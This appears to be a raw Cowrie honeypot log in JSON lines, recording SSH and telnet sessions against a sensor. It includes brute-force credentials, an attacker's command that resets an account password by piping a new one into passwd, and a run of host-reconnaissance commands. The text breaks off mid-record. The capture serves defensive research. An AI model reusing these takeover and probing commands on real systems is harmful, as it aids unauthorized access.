{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:13.176360Z","src_ip":"176.53.96.10","session":"e26ebc829ddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:13.695514Z","src_ip":"176.53.96.10","session":"e26ebc829ddf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:14.823530Z","src_ip":"176.53.96.10","session":"e26ebc829ddf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:15.009557Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:15.013547Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:15.144731Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:15.484403Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"webadmin\\n8QXLw5Yxh1sF\\n8QXLw5Yxh1sF\"|passwd|bash","message":"CMD: echo -e \"webadmin\\n8QXLw5Yxh1sF\\n8QXLw5Yxh1sF\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:15.488414Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:15.493114Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:15.496745Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1b78e4589572fb3b17984ee508f853e740432746f91deb258274d67a7c2a8875","size":32,"shasum":"1b78e4589572fb3b17984ee508f853e740432746f91deb258274d67a7c2a8875","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/1b78e4589572fb3b17984ee508f853e740432746f91deb258274d67a7c2a8875 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:15.626142Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:15.924536Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"webadmin\\n8QXLw5Yxh1sF\\n8QXLw5Yxh1sF\\n\"|passwd","message":"CMD: echo \"webadmin\\n8QXLw5Yxh1sF\\n8QXLw5Yxh1sF\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:15.928425Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5b9598764b78cbdea2f0c9a6eeeb6bb71b18d0fd18d0ad32279d79cda868aa3b","size":25,"shasum":"5b9598764b78cbdea2f0c9a6eeeb6bb71b18d0fd18d0ad32279d79cda868aa3b","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5b9598764b78cbdea2f0c9a6eeeb6bb71b18d0fd18d0ad32279d79cda868aa3b after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:16.057450Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:16.433021Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:16.444917Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:16.574906Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:16.881829Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:16.885425Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:17.013108Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:17.305414Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:17.309502Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:17.313558Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:17.442802Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:17.771214Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:17.775044Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:17.906839Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:18.202958Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:18.208729Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:18.340349Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:18.660304Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:18.663900Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:18.793880Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:19.118976Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:19.125125Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:19.254182Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:19.582144Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:19.586577Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:19.715563Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:20.037430Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:20.041111Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:20.189112Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:20.511380Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:20.515964Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:20.652986Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:20.979632Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:20.983567Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:21.112336Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:21.419624Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:21.423435Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:21.551480Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:21.845285Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:21.849503Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:21.980528Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:21.987263Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00953149795532,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:34.602259Z","src_ip":"176.29.26.223","session":"8f91f40ccee7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":25520,"dst_ip":"159.203.135.109","dst_port":23,"session":"d99ff7aed9c3","protocol":"telnet","message":"New connection: 176.29.26.223:25520 (159.203.135.109:23) [session: d99ff7aed9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:35.990280Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.248.110","src_port":44810,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb9c5989e6ce","protocol":"telnet","message":"New connection: 37.187.248.110:44810 (10.17.0.5:23) [session: cb9c5989e6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:36.242649Z"}
{"eventid":"cowrie.session.closed","duration":120.00146174430847,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:38.045109Z","src_ip":"176.29.26.223","session":"e5bdd19c69d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":25874,"dst_ip":"159.203.135.109","dst_port":23,"session":"554fe5924dc6","protocol":"telnet","message":"New connection: 176.29.26.223:25874 (159.203.135.109:23) [session: 554fe5924dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:39.426469Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57660,"dst_ip":"159.203.135.109","dst_port":22,"session":"d697171c3544","protocol":"ssh","message":"New connection: 159.203.92.129:57660 (159.203.135.109:22) [session: d697171c3544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:45.417113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:45.426353Z","src_ip":"159.203.92.129","session":"d697171c3544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@